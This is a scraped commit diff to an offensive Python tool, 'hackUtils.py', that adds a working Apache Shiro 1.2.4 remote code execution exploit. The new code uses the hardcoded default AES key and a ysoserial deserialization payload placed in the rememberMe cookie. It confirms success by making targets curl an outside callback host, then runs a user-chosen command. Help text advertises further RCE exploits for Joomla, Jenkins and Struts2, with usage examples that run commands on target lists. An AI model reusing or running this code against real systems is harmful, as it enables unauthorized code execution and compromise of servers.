19
19
import cookielib
20
20
import requests
21
21
import socket
22
+ import commands
23
+ import random
24
+
22
25
timeout = 10
23
26
socket .setdefaulttimeout (timeout )
24
27
25
28
from bs4 import BeautifulSoup
29
+ from Crypto .Cipher import AES
30
+ from Crypto import Random
26
31
27
32
# Ignore SSL error when accessing a HTTPS website
28
33
# ssl._create_default_https_context = ssl._create_unverified_context
@@ -795,10 +800,93 @@ def exploitS2032(exp):
795
800
response = requests .get (exp , timeout = 10 )
796
801
return response .content
797
802
803
+ def rceApacheShiro (value ):
804
+ value_url = value .strip ().split ("::" )[0 ]
805
+ if len (value .strip ().split ("::" ))> 1 :
806
+ value_cmdstr = value .strip ().split ("::" )[1 ]
807
+ else :
808
+ value_cmdstr = ''
809
+ now = time .strftime ('%H:%M:%S' ,time .localtime (time .time ()))
810
+ print "[" + str (now )+ "] [INFO] Checking Apache Shiro 1.2.4 Remote Code Execution..."
811
+ if os .path .exists (value_url .strip ()):
812
+ urlfile = open (value_url ,'r' )
813
+ for url in urlfile :
814
+ if url .strip ():
815
+ checkApacheShiro (url , value_cmdstr )
816
+ urlfile .close ()
817
+ else :
818
+ checkApacheShiro (value_url , value_cmdstr )
819
+ output = os .path .dirname (os .path .realpath (__file__ ))+ "/shiro.txt"
820
+ if os .path .exists (output ):
821
+ print "\n [INFO] Scanned Vuls:"
822
+ print "[*] Output File: " + output
823
+
824
+ def checkApacheShiro (url , cmdstr ):
825
+ url = url .strip ()
826
+ try :
827
+ key = base64 .b64decode ('kPH+bIxk5D2deZiIxcaaaA==' ) # Default AES Key for shiro 1.2.4
828
+ id = hashlib .md5 (str (time .strftime ('%H:%M:%S' ,time .localtime (time .time ())))+ str (random .random ())).hexdigest ()
829
+ verify_url = 'http://cloudeye.avfisher.win/index.php?id=' + id
830
+ cmdcheck = 'curl ' + verify_url + '&flag=rceApacheShiro'
831
+ check = exploitApacheShiro (url , cmdcheck )
832
+ time .sleep (5 )
833
+ verify = requests .get (verify_url , timeout = 10 , verify = False ).content
834
+ if check == "succeed" and id in verify :
835
+ if cmdstr != "" :
836
+ exploitApacheShiro (url , cmdstr )
837
+ vul = "[+] vuls found! url: " + url
838
+ logfile (vul ,'shiro.txt' )
839
+ print vul
840
+ else :
841
+ print '[!] no vuls! url: ' + url
842
+ except Exception , e :
843
+ print str (e )
844
+ print '[!] connection failed! url: ' + url
845
+
846
+ def exploitApacheShiro (url ,cmdstr ):
847
+ key = base64 .b64decode ('kPH+bIxk5D2deZiIxcaaaA==' ) # Default AES Key for shiro 1.2.4
848
+ payload = generateApacheShiroPayload (cmdstr )
849
+ headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
850
+ 'Chrome/45.0.2454.101 Safari/537.36' ,
851
+ 'Cookie' : 'rememberMe=%s' % shiroAesEncryption (key , open (payload , 'rb' ).read ()),
852
+ 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' }
853
+ conn = requests .get (url , timeout = 10 , verify = False , headers = headers )
854
+ status_conn = conn .status_code
855
+ if os .path .exists (os .path .dirname (os .path .realpath (__file__ ))+ "/" + payload ):
856
+ os .remove (os .path .dirname (os .path .realpath (__file__ ))+ "/" + payload )
857
+ if status_conn == 200 :
858
+ return "succeed"
859
+ else :
860
+ return "failed"
861
+
862
+ def shiroAesEncryption (key , text ):
863
+ BS = AES .block_size
864
+ pad = lambda s : s + (BS - len (s ) % BS ) * chr (BS - len (s ) % BS )
865
+ unpad = lambda s : s [0 :- ord (s [- 1 ])]
866
+ IV = Random .new ().read (AES .block_size )
867
+ cipher = AES .new (key , AES .MODE_CBC , IV = IV )
868
+ data = base64 .b64encode (IV + cipher .encrypt (pad (text )))
869
+ return data
870
+
871
+ def generateApacheShiroPayload (cmdstr ):
872
+ payload = "payload.t"
873
+ cmd = "java -jar ysoserial-0.0.4-all.jar CommonsCollections2 '" + cmdstr + "' > " + payload
874
+ (status , output ) = commands .getstatusoutput (cmd )
875
+ if status == 0 :
876
+ return payload
877
+ else :
878
+ print "[!] generate payload failed!"
879
+ exit ()
880
+
798
881
def myhelp ():
799
- print "\n +-----------------------------+"
800
- print "| hackUtils v0.1.2 |"
801
- print "+-----------------------------+\n "
882
+ print '''
883
+ _ _ _ _ _ _ _ _____ _____
884
+ | | | | | | | | | (_) | | _ |/ __ \
885
+ | |__ __ _ ___| | _| | | | |_ _| |___ __ _| |/' |`' / /'
886
+ | '_ \ / _` |/ __| |/ / | | | __| | / __| \ \ / / /| | / /
887
+ | | | | (_| | (__| <| |_| | |_| | \__ \ \ V /\ |_/ /./ /___
888
+ |_| |_|\__,_|\___|_|\_\\ \\ ___/ \__|_|_|___/ \_/ \___(_)_____/
889
+ '''
802
890
print "Usage: hackUtils.py [options]\n "
803
891
print "Options:"
804
892
print " -h, --help Show basic help message and exit"
@@ -811,6 +899,7 @@ def myhelp():
811
899
print " -r url|file, --rce=url|file Exploit Remote Code Execution for Joomla 1.5 - 3.4.5 (Password: handle)"
812
900
print " -f url|file, --ffcms=url|file Exploit Remote Code Execution for FeiFeiCMS 2.8 (Password: 1)"
813
901
print " -k ip|file[::cmd], --jenkins=ip|file[::cmd] Exploit Remote Code Execution for XStream (Jenkins CVE-2016-0792)"
902
+ print " -o url|file[::cmd], --shiro=url|file[::cmd] Exploit Remote Code Execution for Apache Shiro 1.2.4"
814
903
print " -s url|file, --s2032=url|file Exploit Remote Code Execution for Struts2 (S2-032)"
815
904
print " -d site, --domain=site Scan subdomains based on specific site"
816
905
print " -e string, --encrypt=string Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)"
@@ -830,6 +919,8 @@ def myhelp():
830
919
print " hackUtils.py -k 10.10.10.10::dir"
831
920
print " hackUtils.py -k ips.txt"
832
921
print " hackUtils.py -k ips.txt::\" touch /tmp/jenkins\" "
922
+ print " hackUtils.py -o http://www.shiro.com/::\" touch /tmp/shiro\" "
923
+ print " hackUtils.py -o urls.txt::\" touch /tmp/shiro\" "
833
924
print " hackUtils.py -s http://www.struts2.com/index.action"
834
925
print " hackUtils.py -s urls.txt"
835
926
print " hackUtils.py -d example.com"
@@ -838,7 +929,7 @@ def myhelp():
838
929
839
930
def main ():
840
931
try :
841
- options ,args = getopt .getopt (sys .argv [1 :],"hb:g:i:u:w:j:r:f:k:s:d:e:" ,["help" ,"baidu=" ,"google=" ,"censysid=" ,"censysurl=" ,"wooyun=" ,"joomla=" ,"rce=" ,"ffcms=" ,"jenkins=" ,"s2032=" ,"domain=" ,"encrypt=" ])
932
+ options ,args = getopt .getopt (sys .argv [1 :],"hb:g:i:u:w:j:r:f:k:o: s:d:e:" ,["help" ,"baidu=" ,"google=" ,"censysid=" ,"censysurl=" ,"wooyun=" ,"joomla=" ,"rce=" ,"ffcms=" ,"jenkins=" , "shiro =" ,"s2032=" ,"domain=" ,"encrypt=" ])
842
933
except getopt .GetoptError :
843
934
print "\n [WARNING] error, to see help message of options run with '-h'"
844
935
sys .exit ()
@@ -864,6 +955,8 @@ def main():
864
955
rceFeiFeiCMS (value )
865
956
if name in ("-k" ,"--jenkins" ):
866
957
rceXStreamJenkins (value )
958
+ if name in ("-o" ,"--shiro" ):
959
+ rceApacheShiro (value )
867
960
if name in ("-s" ,"--s2032" ):
868
961
rceStruts2S2032 (value )
869
962
if name in ("-d" ,"--domain" ):
0 commit comments